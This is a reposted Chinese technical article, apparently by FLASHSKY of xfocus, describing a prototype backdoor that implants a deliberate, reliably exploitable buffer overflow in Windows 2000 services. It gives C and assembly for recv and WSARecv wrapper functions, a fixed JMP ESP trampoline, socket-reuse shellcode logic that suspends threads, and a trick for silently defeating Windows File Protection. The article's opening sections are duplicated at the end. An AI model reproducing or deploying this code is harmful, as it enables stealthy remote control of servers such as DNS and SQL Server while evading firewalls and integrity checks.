溢出植入型木马(后门)的原型实现 作者:FLASHSKY(原创)
生活随笔
收集整理的這篇文章主要介紹了
溢出植入型木马(后门)的原型实现 作者:FLASHSKY(原创)
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
作者:FLASHSKY(原創)
作者郵箱:flashsky@xfocus.org
站點:??? www.xfocus.net
申明:
作者無意實現一個木馬,作者也不是一個木馬開發者,只是提供一種思路:將緩沖區溢出攻擊和木馬/后門相結合的木馬實現手段,
通過一個簡單的原型來驗證這種思路的可行性,并展示給大家看到這種實現方式的很多特點和優勢。也提請安全研究人員對這種木馬發展技術
給予較高的關注,提出查殺和避免的方法。作者提供關鍵代碼段的技術實現的文檔和演示來驗證其實現,但不提供源代碼和二進制程序,任何
人都可以利用此文進行自己的技術研究和代碼實現,但是自己負擔自己開發程序進行非法行為的法律責任。
一:溢出植入型木馬(后門)的基本思路
1. 木馬(后門)如何有效的隱蔽的思考?
木馬和后門是在服務器端運行,實現與特定工作者進行通訊和執行服務請求的一個應用服務器程序。隱蔽則是非常重要的手段,當前主要涉及
到的隱蔽問題有:
? 應用/代碼本身的隱蔽,避免事后查殺工具查出。避免文件完整性的檢查等。
? 應用進程執行的隱蔽:如木馬進程的隱蔽
? 自動啟動代碼相關的隱蔽:如W2K下需要修改注冊表讓自己在系統自動啟動的時候啟動,或填加到服務或驅動當中
? 通訊的隱蔽:如何隱蔽端口不被查出,如何饒過防火墻等問題
當前木馬/后門發展的趨勢是寫入到驅動和內核的級別。通過攔截系統調用的服務來達到以上幾個隱蔽的目的,如ROOTKIT等,但是這樣的木馬
/后門也存在著一些問題:
? 代碼量多,在客戶端執行的工作多。做的事情越多,其蛛絲馬跡必然也就會越多。而且是在主動方式執行的,任何時候都在予以執行
,而不僅僅是在攻擊者與其進行通訊的時候。
? 影響一定的性能:由于是寫入內核和驅動的,受影響的面比較大。
? 編寫需要高的技巧與技能。
2. 溢出植入型木馬(后門)的思路
那么針對以上問題,我們會產生一個思路,就是按照這種方式來實現隱藏自己的木馬/后門
? 被動工作式的木馬,最好是制造一個可以遠程利用的通用漏洞,利用這個通用漏洞來實現控制,這樣只在與攻擊者通訊的時候才會有
一定的跡象,而且服務器端留存的代碼到最小,也就無所謂事后查殺,對系統的影響也非常的小。
? 特定程序的執行代碼依賴于客戶端傳入的數據,而這些代碼只存在于內存之中。
? 特定代碼執行的機理盡量依賴于系統本身的正常的機制進行加載,和執行
3. 溢出植入型木馬(后門)的優勢
那么由上面的思路進行闡發,我們會想到,做植入一個漏洞的木馬,那么為什么會選植入溢出漏洞呢?原因在于:
? 溢出漏洞存在操作系統通用性的優勢:在很多的CPU平臺和操作系統平臺上,溢出都是一個普遍存在的漏洞,并且其原理都是一樣的,
這樣的木馬很容易移植。
? 溢出漏洞本身難以被檢查,具備非常好的隱秘性
? 溢出本身就可以做遠程的控制,很多其他的漏洞是通過漏洞獲得權限以后還需要通過其他的方式來進行控制。
? 溢出通過客戶端把指令以代碼的方式發送執行來獲得控制,這些可執行代碼數據可以根據需要進行一定的修改,本身具備一定的靈活
性,本身的攻擊代碼不以服務器端程序的方式留存,只在執行的時候存在于內存堆棧中,很難尋找。
? 溢出的代碼執行是在正常服務的內部進行的,很容易就實現了進程的隱藏,而且注入到一個正常的應用中,其啟動和控制無需要其他
修改注冊表等方式。而且利用本身的端口和SOCKET很容易就能實現通訊的端口復用和SOCKET復用,實現端口隱藏和饒過防火墻。
? 溢出本身對程序的性能等影響很小。且是完全被動方式來工作的。
? 制造一個溢出漏洞比較簡單和容易實現,即使是一個非常安全的應用程序,制造一個溢出BUG很容易,如一個收包的代碼調用:
recv(sock,buf,xxxx,flag),只需要簡單的調整XXX的大小的值就使得其存在了一個溢出的漏洞。
二:通用溢出漏洞的植入
1. 通用化溢出漏洞要解決的4個問題
但是真正以木馬/后門方式給應用植入一個溢出漏洞而可以被很好的被廣泛使用,必須要使得這個溢出具備通用化的問題,主要涉及到如下幾個
方面的考慮:
? 溢出點定位
因為溢出的BUF的長度,位置和RETADDR的偏移關系對每個應用程序都是不定的,如果針對每個應用程序都需要手工調整這個溢出點的話,客戶
端就無法實現通用性的代碼,因此需要植入一個可溢出點固定的溢出漏洞。
? JMP ESP代碼提供和定位
溢出代碼通過RETADDR掌握到主動的時候,但由于SHELLCODE在的內存堆棧是動態分配的,是無法準確獲得其地址的,那么需要借重于JMP ESP這
樣的語句來實現跳轉,有些應用可能有這樣的語句,有些應用可能又沒有這樣的語句,而且地址不會是一樣的,隨不同系統和操作系統的版本
也都會變化,因此需要提供一個可固定的JMP ESP代碼的地址給溢出SHELLCODE,來實現通用化。
? 溢出覆蓋后對變量的引用訪問違例
溢出以后,由于溢出的BUF到RETADDR之間很可能還存在其他的變量,在溢出的RETADDR返回以前,代碼還在應用程序的上小文中執行,這些代碼
很可能會引用這些變量,而這些變量很可能已經被我們的覆蓋代碼已經修改,從而導致訪問違例,導致程序終止或被記錄或進行異常處理代碼
而無法執行我們的溢出代碼并且暴露我們的行蹤。
? 溢出覆蓋后執行代碼對溢出區的修改
溢出以后,由于溢出的BUF到RETADDR之間很可能還存在其他的變量,在溢出的RETADDR返回以前,代碼還在應用程序的上小文中執行,這些代碼
很可能會修改我們已經溢出覆蓋的SHELLCODE的內容,這樣在溢出以后就無法正確執行我們想要執行的SHELLCODE,一般來說還會引起異常導致
進程的意外終止和記錄,暴露我們的行蹤。
2. 實現植入通用化溢出漏洞的思路
那么如何有效解決以上問題,實現一個可通用化利用的溢出漏洞呢?我們來展開我們的思考:
a) 思路一:修改擴展堆棧(對于固定EBP/ESP引用有效)
在一個函數 CALL FUN的FUN執行空間下
假設一個應用程序的堆棧空間如下:
ESP----------》變量1到10 占有空間40個字節
??????? 可被我們溢出的BUF1占有空間400個字節
??????????? 其他的變量11到20占有空間40個字節
EBP----------》RETADDR
傳入的函數參數1到4? 占有空間16
那么在進入FUNC執行的時候,其生成的匯編語句會如下:
PUSH? EBP
MOV? EBP,ESP? (這時候的ESP指向RETADDR的地址)
SUB?? ESP,480?? (480是變量總的占有空間的數)
。。。。。。。????????? (代碼執行區)
ADD?? ESP,480
PUSH? EBP
我們修改如上的匯編代碼的語句為:
PUSH? EBP
MOV? EBP,ESP?
SUB?? ESP,1480
。。。。。。。???????
ADD?? ESP,1480
PUSH? EBP
對應的堆棧空間是
ESP----------》變量1到10 占有空間40個字節
??????? 可被我們溢出的BUF1占有空間400個字節
其他的變量11到20占有空間40個字節
多出的1000個字節的空間
EBP----------》RETADDR
傳入的函數參數1到4? 占有空間16
如果對參數的引用都是以EBP+XXX,對變量的引用都是以ESP+XXX的方式的話,我們會發現其對應用的影響沒有,程序依然可以很好的執行,因
為參數和變量相對ESP,EBP的位置并沒有發生變化。但是我們會發現如下幾個有趣的地方:
1. 只需要修改SUB,ESP,XXX,ADD ESP,XXX的地方,都在函數的頭尾地方出現,不影響程序大小,容易尋找。
2. 如果我們可以根據已知的 XXX的大小和BUF的位置,來自動計算和調整XXX的值,就可以實現溢出點定位的問題,如上面的例子,需要
溢出點定位到1000,我們把SUB ESP,480改成 SUB ESP,1040就可以達到定位點是1000的目的。(多出的40是在BUF上面的變量,這和BUF的位
置有關);
3. 如果增加的空間足夠大,我們可以把SHELLCODE放在多出的這個空間里,就能有效的避免SHELLCODE被后續程序執行導致被修改的問題。
4. 如果增加的空間足夠大,我們可以把SHELLCODE放在多出的這個空間里,那么對于前面的空間,由于溢出點位置已定,SHELLCODE不存
在被修改,因此可以對于變量10到20盡可能的有效的數據地址,來減少可能的后續代碼的執行對其的引用導致的訪問違例問題,雖然不能完全
解決,但至少提供了很大的可能性。
這是一個很好的思路,然而現實是殘酷的,因為我們發現原先設想的一個前提在不同的編譯器選項下是不成立的,既
對變量的引用是ESP+XXX,對傳入參數的引用是EBP+XXX,不同的情況生成的匯編代碼是復雜的,既有可能對變量和傳入參數的引用全部是ESP+
XXX的方式,也有可能對變量和傳入參數的引用全部是EBP+-XXX的方式。我們只得利用這個思路繼續思考新的解決方法。
b) 思路二:植 入某個特定函數的轉發函數
那么新的想法就是,針對可以溢出的函數,給他植入一個轉發的函數。也就是說本來在一個過程中有對
recv(sock,buf,xxx,flag)的調用,把他修改成recvadd(sock,buf,xxx,flag),我們附加給應用一個recvadd函數,這個函數只是簡單的對
recvadd(sock,buf1,xxx,flag)進行轉發而已,但是其分配的內存空間和給定的XXX是不一致的,存在溢出的漏洞,那么對這個轉發的recv進行
溢出就可以實現溢出控制了。
3. 植入的通用化通用化溢出漏洞的實現
a) 函數轉發過程和優勢
過程:
i. 開辟一個新的BUF1,長度固定,這樣可提供溢出點固定的溢出
ii. 調用recv(sock,buf1,xxx,flag)進行收包
iii. 將buf1的內容拷貝回BUF,這樣就不會影響正常的應用。
優勢:
可以一舉解決可通用化利用的溢出漏洞的四個問題。
iv. 因為在RECVADD函數中運行,BUF1的分配可以根據指定的溢出點進行分配。并可保證足夠的溢出空間,使得SHELLCODE就在BUF1內存放
而不影響EBP后面的變量
v. RECVADD中可以放置JMP ESP的變形代碼,解決JMP ESP的定位問題
vi. RECVADD只提供BUF1,接收以后再拷貝回BUF,這樣不會涉及到問題3和問題4
vii. 不會影響程序的正常應用,而且附加的函數本身功能比較簡單,非常容易實現,代碼量非常小,1,2百字節以內,而如W2K的PE文件格
式下節是以0X1000H對齊的,因此有足夠的空間加入到PE文件正常的節中而不影響其大小,其他參數的變化。
b) 制造轉發函數的通用漏洞
下面就是最初步的一個對RECV進行轉發的函數的C代碼
DWORD WINAPI recvadd(SOCKET s,char FAR* buf,int len,int flags)
{
int num;
char buf1[0x1190];
if(len>0x1000)
num = recv(s,buf,len,flags); //說明無法通用溢出,因為要不影響正常應用
else
{
num = recv(s,buf1,0x11a9,flags); //擴大到標準指定的溢出點上
if(num>0)?????????????????? //判斷是否收到包
{
if(num<=len) ? //判斷是否溢出,沒有則拷貝內存
memcpy(buf,buf1,num);
else????????????????? //提供JMP ESP的地址,這個地址隨植入時候自動計算并替換掉:1010101H
{
num=-1;
_asm{
mov eax,1010101H
mov [esp+11A4H],eax;
}
}
}
}
return num;
}
c) 可通用化的利用
i. 檢測溢出和溢出返回地址
判斷溢出很簡單,只需要利用RECV的返回接收字節數字和給定的LEN進行比較就可以,當然也可以利用溢出地址的編碼檢查是否是自己特定的
溢出。
另外就是擴展了足夠的BUF1以后,SHELLCODE完全就可以放在BUF1中而無需覆蓋EBP下面的內容了,這樣就為有效的線程安全返回提供了條件。
因為一個我們的SHELLCODE完成任務以后,這個溢出線程的處理是非常麻煩的,如果中斷掉,對有些應用則會引起異常,如DNS SERVER等就不
會工作,而有些這會中斷和記錄下來,最理想的方式是保存環境完全又返回到原來應該返回點繼續執行。
ii. JMP ESP代碼
我們在附加函數的尾部提供一個如下的匯編代碼的機器代碼:
SUB ESP,XXXX
JMP ESP
(當然為了隱蔽,可以生成其他等效功能的變形代碼,如
MOV EAX,ESP,
JMP EAX)
然后在植入的時候自動計算這個附加代碼的地址,替換掉RECVADD的程序代碼中,在運行檢測到溢出的時候,就將這個地址替換到有效的返回
地址上,實現溢出的SHELLCODE的跳轉。
iii. 其他需要利用的環境變量的保護
同時考慮到如下因素,因在替代函數中提供對如下變量的保護
? SOCKET,便于SOCKET復用
? RETADDR:便于SHELLCODE完成以后,線程實現安全的返回
? 本函數調用傳入的參數大小,以實現SHELLCODE中對ESP/EBP計算安全返回
? 執行前保存函數體外的需要保存的積存器,以實現安全返回
那么下面就是一個考慮了以上情況的對RECV進行轉發函數的匯編代碼
DWORD WINAPI recvadd(SOCKET s,char FAR* buf,int len,int flags)
{
_asm{
mov eax,[esp+0cH]???????????????? //檢查LEN是否是大于1000H的應用,
cmp eax,1000H??????????????????? //這樣的應用我們按1000H做溢出點
jg recv???????????????????????? //可能會破壞正常的應用
sub esp,119ch???????????????????? //擴展堆棧到定好的溢出點
mov eax,[esp+11a0h]?????????? //保存SC備SHELLCODE使用
mov [esp],eax
mov eax,[esp+119ch]?????????? //保存返回地址供SHELLCODE執行完
mov [esp+4],eax?????????????? //以后進行返回
mov dword ptr [esp+8],10h????? //保存壓入參數的占用堆棧的大小
push??? esi????????????????????? //保護外圍積存器
push??? edi
push??? ecx
push??? edx
mov??? eax, [esp+11Bch]
push ?? eax
mov???? esi, [esp+11Bch]
push??? 11A9h????????????????? //替換成可溢出的值
lea???? ecx, [esp+24H]
push ecx
mov eax, [esp+11Bch]
push eax
call??? recv?????????????????? //recv轉發
test??? eax, eax
jle???? loc_2
cmp???? eax, esi????????????? //判斷是否接收到包
jle???? loc_1
mov edx,[esp+11Ach]
xor eax,eax
dec ??? eax
cmp edx,0x90909090??? //比較規定的溢出地址值
jne loc_2
mov eax,1010101H????? //提供JMP ESP的地址
mov [esp+11AcH],eax;
jmp loc_2
loc_1:??????????????????????? //BUF1的內容拷貝回BUF
mov???? ecx, eax
mov???? edi, [esp+11B4h]
mov???? edx, ecx
lea???? esi, [esp+1cH]
shr???? ecx, 2
repe movsd
mov???? ecx, edx
and???? ecx, 3
repe movsb
loc_2:
pop edx????????? //彈出保護的外圍積存器
pop ??? ecx
pop ??? edi
pop ??? esi
add esp,119ch
retn??? 10h?????????? //如果發生溢出則會到指定的程序點上執行
}
}
JMPCODE:
_asm{
sub esp.0x1400
jmp esp
}
4. 木馬(后門)的在W2K下的實現
我們已經有了一個完備的轉發函數來植入通用化的溢出漏洞了,那么如何這個后門和木馬如何植入應用呢?下面我們就來考慮這個方面的問題
:
a) 整個植入代碼的結構如下
[RECVADD地址] :
存放真正的RECVADD函數的地址,這樣替換對方的JMP [RECV]的[RECV]地址值為這個地址值就能達到實際的JMP [RECV]的效果
[RECVADD函數]:真正的執行代碼區
[RECV跳轉函數]:保存真正的RECV的跳轉地址JMP [RECV]和CALL [RECV]的地址,使得程序可以轉發真正的調用
[JMP ESP代碼]:存放溢出執行時的JMP ESP執行代碼
b) PE文件節點分析和代碼的附加
? 分析節接點空間是否有足夠的位置放置植入的代碼
? 在導入代碼節和執行代碼節的頭部里找到對應的需要替換的函數(此例為RECV函數的地址)
1. 通過GetProcAddress獲取recv的地址,在進程空間的導入代碼節里查找對應地址的導入地址
? 在代碼區內找到jmp [recv]或call [recv]的地址,記錄下來
? 停止服務,以寫打開文件
? 替換jmp [recv]或call [recv]成jmp [recvadd]或call [recvadd]
? 附加自己的代碼
c) 附加代碼的自動計算和替換
涉及到自動計算的地方有如下幾處
RECVADD函數本身的位置
RECV函數的真正位置的計算和替換
JMP ESP代碼的位置計算和替換
d) 調用函數分析和導入表的替換
存在兩種調用形式,程序需要分別分析和處理
i. JMP [FUN]的替換
進程在調用FUN的時候,是CALL [FUN],[FUN]為JMP [FUN]的地址,這里面的 [FUN]中才為真正的FUN的導入表中的對應函數的地址
這個只需要替換JMP [FUN]就可以達到對應用的所有調用進行替換的目的
ii. CALL [FUN]的替換
進程在調用FUN的時候,是CALL [FUN],[FUN]為FUN的導入表中的對應函數的地址
這個需要替換所有的CALL [FUN]才能達到對應用的所有調用進行替換的目的
三:通用的遠程溢出的SHELLCODE
1. 函數定位處理
先通過對內存的搜索獲得GetProcAddress的地址,來加載需要使用的API。這個都是屬于通用的技巧了。
2. 通用的SOCKET復用
這里討論的SOCKET復用是在W2K環境下的,針對阻塞式SOCKET情況下的。
a) SOCKET復用的意義
i. 服務器端無需開端口,饒過端口檢查
ii. 使用服務本身的端口進行通訊,被動直接使用客戶端的SOCKET,可以有效的饒過防火墻
b) 基本思路
i. 獲得有效的SOCKET描述符
可以通過SOCKET從某個值遞增,然后通過getpeername判斷是否是一個SOCKET和對應是否是自己的IP地址的SOCKET
ii. 判斷關聯的SOCKET描述符的進程
在獲得SOCKET描述符存在的問題是,由于溢出是在代碼執行返回時才掌握控制權,這個時候很可能SOCKET已被正常的關閉掉了。所以可能需要
我們連2個上去,一個發出溢出包,一個處于對方RECV停等的狀態,如果第一個SOCKET已經關閉的話,可以判斷第二個來進行復用處理,這就
需要SHELLCODE做如下的判斷:
1. 有可能第一個也沒被關閉,那么需要有效判斷出第二個來,只要通過檢查線程的ID是否和當前的匹配就可以
2. 使用第二個SOCKET以前,需要先懸掛起這個SOCKET處理的線程,否則無法正常使用SOCKET
在阻塞式情況下,RECV的代碼會停留在NtWaitForSingleObject的代碼上,那么我們通過判斷線程環境上下文的EIP地址就基本可以獲得大致的
對應的線程,但是也有可能有其他的線程處于同一位置,那么我們可以搜索有效的線程的堆棧空間是否存在對應的SOCKET描述符就可以基本確
定了。
下面就是基本實現的C代碼:
cid = GetCurrentThreadIdadd();
pid = GetCurrentProcessIdadd();
for(hid=0x50;hid<0x10000;hid=hid+4)? //SOCKET描述符從0X50開始
{
num= sizeof(addr);
if(getpeername ((SOCKET)hid,&addr,&num)==0)
{
if(*(DWORD *)(addr.sa_data+2)==0x3c00a8c0)//對應IP
{
//發送字節看是否是已經關閉的SOCKET
lBytesRead = send((SOCKET)hid,strcmd,4,0); if(lBytesRead>0)
{
for(aid = 0;aid<0x10000;aid=aid+4)
{
if(cid!=aid)
{
OpenThreadadd(THREAD_ALL_ACCESS,FALSE,aid);
if(p1!=NULL)
{
isok=NtQueryInformationThreadadd(p1,0,prothrinfo,0x1c,&num);
if(isok==0)
{
if(*(DWORD *)(prothrinfo+0x8)==pid)
{
? SuspendThreadadd(p1);
context.ContextFlags = CONTEXT_FULL;
GetThreadContextadd(p1,&context);
if(context.Eip==((DWORD)NtWaitForSingleObjectadd+11))
{
eip = context.Esp;
for(di=0x80;di<0x170;di=di+4)
{
if(*(DWORD *)(eip+di)==(SOCKET)hid)
{
//下面就可以正常處理了
}
//不是的則恢復線程的執行和循環
c) 但是以上對線程的判斷方法只對阻塞式的SOCKET有效,對于非阻塞式的SOCKET卻無法判斷,但對于函數替換這種方式植入的溢出來說
,非常幸運的是:可以確保這個SOCKET在溢出控制的時候肯定不會被關閉,因此我們完全可以只通用SOCKET的getpeername函數嘗試就可以判
斷這個SOCKET描述符了,當然我的例子代碼采用了由植入程序保存這個環境變量的方法來復用這個SOCKET
3. 對環境變量的正常引用
其實我們把三個保存的環境變量都放在溢出的BUF1之前的,相對于跳轉執行的SUB ESP,XXX,JMP ESP后,這個地址是不固定的,可能隨著被
溢出函數在返回之前的RETN XXX的XXX而變化,因此要用一個固定的ESP+XXX來引用這幾個保存的環境變量,需要我們更該對應的SUB ESP,XXX
,JMP ESP的XXX大小,幸運的是,對于每個固定的替換API這個是固定的,因此我們完全可以針對每一個替換的函數寫固定的XXX在內,因為對
不同的替換函數其替換函數的內容也會變化。
我們的溢出植入只對函數調用級別的通用,也就是說無論應用A和B運行在不同的版本的系統上,只要調用了對應的函數C,則對A和B的C函數的
溢出植入都是通用的。
4. 線程完畢后的處理思考
a) 刪除或終止線程
這樣雖然簡單,但是容易引起異常和記錄。
b) 保存線程環境返回原調用點
那么需要保存和計算如下的內容:
保存溢出SHELLCODE執行前的積存器內容
保存需要返回的地址值
計算恢復后的ESP/EBP,好放入對應的地址值。
最大的考慮則是:在恢復積存器后,還需要使用積存器讀取返回地址值并放入返回前的ESP和讀取函數在溢出前提供的函數參數大小使得計算正
常的ESP,因此對于積存器的保護需要一點技巧。
c) 線程安全返回的代碼
sub esp,0x13fc????????? //先開辟一個空間,保護幾個特殊的積存器
push ebp
push ecx?????????????? //因為要二次用到,所以在此處保存eax.ecx
push? eax
sub? esp,xxx?????? //這兒開辟的堆棧空間才是真正的SHELLCODE使用的變量存放的空間
push? ebx????????????? 保存其他的積存器
push? ecx
push? edx
push? esi
push? edi
。。。。。。。。。。。。。。。。SHELLCODE功能代碼
執行完畢以后實現縣城的安全返回:
TerminateProcess (ProcessInformation.hProcess,0); //殺掉打開的CMD進程
_asm{
mov eax,k???????????? //K是溢出函數傳入的參數長度
mov ebx,retaddr??????? //返回地址
mov ecx,28FCH?????? //ESP回復到開辟的地方
add ecx,eax????????? //考慮溢出函數傳入的參數長度的ESP地址
sub ecx,4???????????? //回到應該放置RET的ESP處
mov [esp+ecx],ebx //存放真正的返回地址
pop? edi??????????? //恢復通用的積存器
pop? esi
pop? edx
pop? ecx
pop? ebx
pop? edi
pop? esi
pop? ebx
add esp,4e4h //ESP減少SHELLCODE使用的堆棧空間
mov? [esp+23F8H],eax?? //寫入K的值,在恢復積存器以后就可以無需再使用其他積存器來使用了
pop ebp??????? //彈出幾個保護的特殊積存器
pop eax
pop? ecx
add esp,23ECH?? //到存放K的堆棧上,這樣就可以用[ESP]來引用這個值而無需使用其他積存器,導致已恢復的積
存器又被破壞掉
add esp,[esp]??? //利用[ESP]引用K實現ESP+K,來計算真正的ESP值
sub esp,4 ? //提前4字節,也就是RETADDR的地方。利用RET進行返回
ret
}
5. 演示遠程SCOKET復用SHELLCODE溢出TEST服務
四:闡發
1. 饒過WIN2K的系統文件完整性保護機制(SFP)
我們的后門和木馬主要的目標是修改運行具備特權的服務和系統文件,但是大家都知道在WIN2K以后,WINDOWS都增加了SFP機制來保護系統文件
的完整性。那么只有能有效的修改我們需要植入的受系統保護的文件,我們才能達到目的。
網上有很多刪除和更新受保護文件的方法,但是基本思路是同步刪除掉備份的/WINNT/system32/dllcache/和/WINNT/ServicePackFiles/i386/
下的對應文件,但是這樣會導致系統跳出一個無法正常恢復受保護文件的警告框出來,這樣就會暴露我們的行蹤。
其實修改受SFP保護的文件又不引起這個警告框的方法非常簡單,就是:同時獨占打開這兩個備份的文件,然后再修改受系統保護的文件,修改
完畢之后,過一段時候再關閉獨占打開這兩個備份的文件,這樣文件就可以被正常修改而已不會引發任何的提示。
當然,還有很多其他的方法來達到這個目的,如修改對應文件的校驗標志等,不過這種方法是最簡單和有效的。
a) 演示刪除和更改WIN2K的受保護的系統文件的方法
2. 通用化測試
以上就是一個基本溢出植入型木馬實現的原形,那么我們最后用實際的測試來驗證一下我們的這個原型是否通用和達到我們預期的目的。我們
來做2個實際應用和服務的植入溢出的實驗和通用這個通用化溢出實現我們的遠程控制。
a) 演示DNS SERVER植入recv轉發的遠程溢出漏洞和控制
制約條件:
??? 使用和植入溢出TEST服務一樣的SHELLCODE和客戶端
使用和植入溢出TEST服務一樣的木馬執行程序和RECV的轉發函數
??? 唯一不同是給定的木馬執行程序的參數(主要指明需要植入溢出的程序等信息)
1. 演示植入前發送過大包失敗
2. 演示植入后,程序在發送包已經到達我們的轉發程序
3. 演示不影響正常的應用
4. 演示溢出后的控制和正常的返回,服務繼續可用和可繼續溢出利用
b) WSARecv函數的轉發的溢出實現和演示
那么對于RECV轉發溢出大家很熟悉了,但這是否限制了我們的應用呢?因為多數的應用是用WSARECV函數來實現的,其實我們先就有一個結論
是:
我們的溢出植入只對函數調用級別的通用,也就是說無論應用A和B運行在不同的版本的系統上,只要調用了對應的函數C,則對A和B的C函數的
溢出植入都是通用的。針對不同的函數,只要這個函數形如FUN(BUF,LEN),LEN是指定BUF長度的函數,其實都可以被植入溢出漏洞的。
那么我們就來實現一下對WSARECV的溢出植入和控制,例子就是大家熟悉的SQL SERVER的SOCKET。
i. 通用的WSARECV的替換函數
int WINAPI WSARecvadd(SOCKET s,LPWSABUF buf,DWORD len,LPDWORD num,LPDWORD flags,LPWSAOVERLAPPED lpOverlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionROUTINE)
{
_asm{
mov eax,[esp+08H]
mov eax,[eax]
cmp eax,1000H
jg WSARecv?????????????? //判斷是否允許在空間范圍內溢出
sub esp,119ch??????????????? //擴展堆棧
mov eax,[esp+11a0h]???? //保護環境變量
mov [esp],eax
mov eax,[esp+119ch]
mov [esp+4],eax
mov dword ptr [esp+8],1Ch
push??? ebx??????????????? //保護積存器
push??? esi
push??? edi
mov???? ebx, [esp+11B0h]?? //保留WSABUF中長度和地址的參數
mov esi, [ebx+4]
mov eax, [ebx]
add esi,eax
lea???? edi, [esp+18H] //保存WSABUF的BUF到BUF1中后內容,避免被溢出覆蓋后不能恢復
add edi,eax
mov ecx,1194H
sub ecx,eax
mov eax,ecx
shr???? ecx, 2
repe movsd
mov???? ecx, eax
and???? ecx, 3
repe movsb
mov esi, [ebx+4]
mov edi, [ebx]
mov dword ptr [ebx],1194H? //擴大 WSABUF長度使得其能被溢出
mov???? eax, [esp+11c4h]
push eax
mov???? eax, [esp+11C4h]
push eax
mov???? eax, [esp+11C4h]
push eax
mov???? eax, [esp+11C4h]
push eax
mov???? eax, [esp+11C4h]
push??? eax
push ebx
mov eax, [esp+11C4h]
push eax
call??? WSARecv ?? //轉發到WSARECV
push ecx??????????????? //保存WSARECV返回的有意義的三個積存器
push eax
push edx
mov edx,[esi+1190H]? //獲得WSABUF的BUF,如果溢出這寫入的返回地址值
mov ecx,[esp+11b4h]? //獲得如果溢出,則需要恢復回去的內容
mov [esi+1190H],ecx? //恢復到BUF中
mov ecx,[esp+1ch]??? //讀取保留的返回地址
mov [esp+11b4h],ecx? //恢復到ESP對應的返回地址上,避免被溢出覆蓋,因先保存WSABUF的時候這個地址已
經被覆蓋了
mov [ebx],edi?????? //寫入WSABUF正常的LEN值
test??? eax, eax???????? //檢查是否接收到包
jne???? loc_4
mov ebx,[esp+11C4H] //獲得收到包的大小
mov ecx,[ebx]
cmp???? ecx, edi??????? //檢查是否溢出
jle???? loc_4
cmp edx,0x90909090? //檢查溢出傳來的返回地址是否和我們規定的一致
jne loc_4
xor ebx,ebx
mov ecx,edi
lea???? edi, [esp+24H] //拷貝SHELLCODE到我們的BUF1,同時恢復WSABUF中其他變量被覆蓋的值,避免以后SHELLCODE
返回后導致異常。
loc_1:
cmp ebx,1190H
jge loc_3
cmp ebx,ecx
jge loc_2
??????? mov eax,[esi+ebx]
mov [edi+ebx],eax
add ebx,4
jmp loc_1
loc_2:
mov edx,[edi+ebx]
??????? mov eax,[esi+ebx]
mov [edi+ebx],eax
mov [esi+ebx],ebx
add ebx,4
jmp loc_1
loc_3:
mov ebx,1010101H?????????? //寫入JMP ESP的地址,1010101H會在植入時候通過計算進行正確的替換
mov [esp+11B4H],ebx;
loc_4:
pop edx
pop eax
pop ecx
pop ??? edi
pop ??? esi
pop ebx
add esp,119cH
retn??? 1ch
}
}
ii. 重載異步IO的SOCKET的內存置換的問題
這個替代函數比RECV函數要復雜一些,因為這個SOCKET是一個重載異步IO的SOCKET的,在RECV的時候,其內存是不允許置換的,否則這個重載
異步IO的SOCKET就會成為一個非重載異步IO的SOCKET,這樣就會影響正常的應用。同時對執行WSARECV后被修改的積存器的保護也非常重要。
而且返回的值不同,其引用的地址也不同。因此采用了使用原BUF但擴大LEN導致溢出的方法,為了正常返回,則將其可能被溢出覆蓋的內容
復制到BUF1上,如果真的發生溢出以后,再將溢出內容拷貝到BUF1,把BUF1的保存內存拷貝到被溢出的BUF上,保證程序的正常運行。
iii. 演示SQL SERVER植入WSARecv轉發的遠程溢出漏洞和控制
制約條件:
??? 使用和植入溢出TEST服務一樣的SHELLCODE和客戶端
?? 使用和植入溢出TEST服務一樣的木馬執行程序,只修改WSARECV的轉發函數體
?? 給定的木馬執行程序的參數(主要指明需要植入溢出的程序等信息)
1. 演示植入前發送過大包失敗
2. 演示植入后,程序在發送包已經到達我們的轉發程序
3. 演示不影響正常的應用
5. 演示溢出后的控制和正常的返回,服務繼續可用和可繼續溢出利用
c) 只修改內存影象避免文件完整性檢查
最后的討論是,同樣,這樣的原理可以只利用到對只修改內存影象來到達溢出植入的目的,這樣就可以避免文件完整性檢查,不過當服務重啟
以后這個后門和木馬則不可利用了。
作者郵箱:flashsky@xfocus.org
站點:??? www.xfocus.net
申明:
作者無意實現一個木馬,作者也不是一個木馬開發者,只是提供一種思路:將緩沖區溢出攻擊和木馬/后門相結合的木馬實現手段,
通過一個簡單的原型來驗證這種思路的可行性,并展示給大家看到這種實現方式的很多特點和優勢。也提請安全研究人員對這種木馬發展技術
給予較高的關注,提出查殺和避免的方法。作者提供關鍵代碼段的技術實現的文檔和演示來驗證其實現,但不提供源代碼和二進制程序,任何
人都可以利用此文進行自己的技術研究和代碼實現,但是自己負擔自己開發程序進行非法行為的法律責任。
一:溢出植入型木馬(后門)的基本思路
1. 木馬(后門)如何有效的隱蔽的思考?
木馬和后門是在服務器端運行,實現與特定工作者進行通訊和執行服務請求的一個應用服務器程序。隱蔽則是非常重要的手段,當前主要涉及
到的隱蔽問題有:
? 應用/代碼本身的隱蔽,避免事后查殺工具查出。避免文件完整性的檢查等。
? 應用進程執行的隱蔽:如木馬進程的隱蔽
? 自動啟動代碼相關的隱蔽:如W2K下需要修改注冊表讓自己在系統自動啟動的時候啟動,或填加到服務或驅動當中
? 通訊的隱蔽:如何隱蔽端口不被查出,如何饒過防火墻等問題
當前木馬/后門發展的趨勢是寫入到驅動和內核的級別。通過攔截系統調用的服務來達到以上幾個隱蔽的目的,如ROOTKIT等,但是這樣的木馬
/后門也存在著一些問題:
? 代碼量多,在客戶端執行的工作多。做的事情越多,其蛛絲馬跡必然也就會越多。而且是在主動方式執行的,任何時候都在予以執行
,而不僅僅是在攻擊者與其進行通訊的時候。
? 影響一定的性能:由于是寫入內核和驅動的,受影響的面比較大。
? 編寫需要高的技巧與技能。
2. 溢出植入型木馬(后門)的思路
那么針對以上問題,我們會產生一個思路,就是按照這種方式來實現隱藏自己的木馬/后門
? 被動工作式的木馬,最好是制造一個可以遠程利用的通用漏洞,利用這個通用漏洞來實現控制,這樣只在與攻擊者通訊的時候才會有
一定的跡象,而且服務器端留存的代碼到最小,也就無所謂事后查殺,對系統的影響也非常的小。
? 特定程序的執行代碼依賴于客戶端傳入的數據,而這些代碼只存在于內存之中。
? 特定代碼執行的機理盡量依賴于系統本身的正常的機制進行加載,和執行
3. 溢出植入型木馬(后門)的優勢
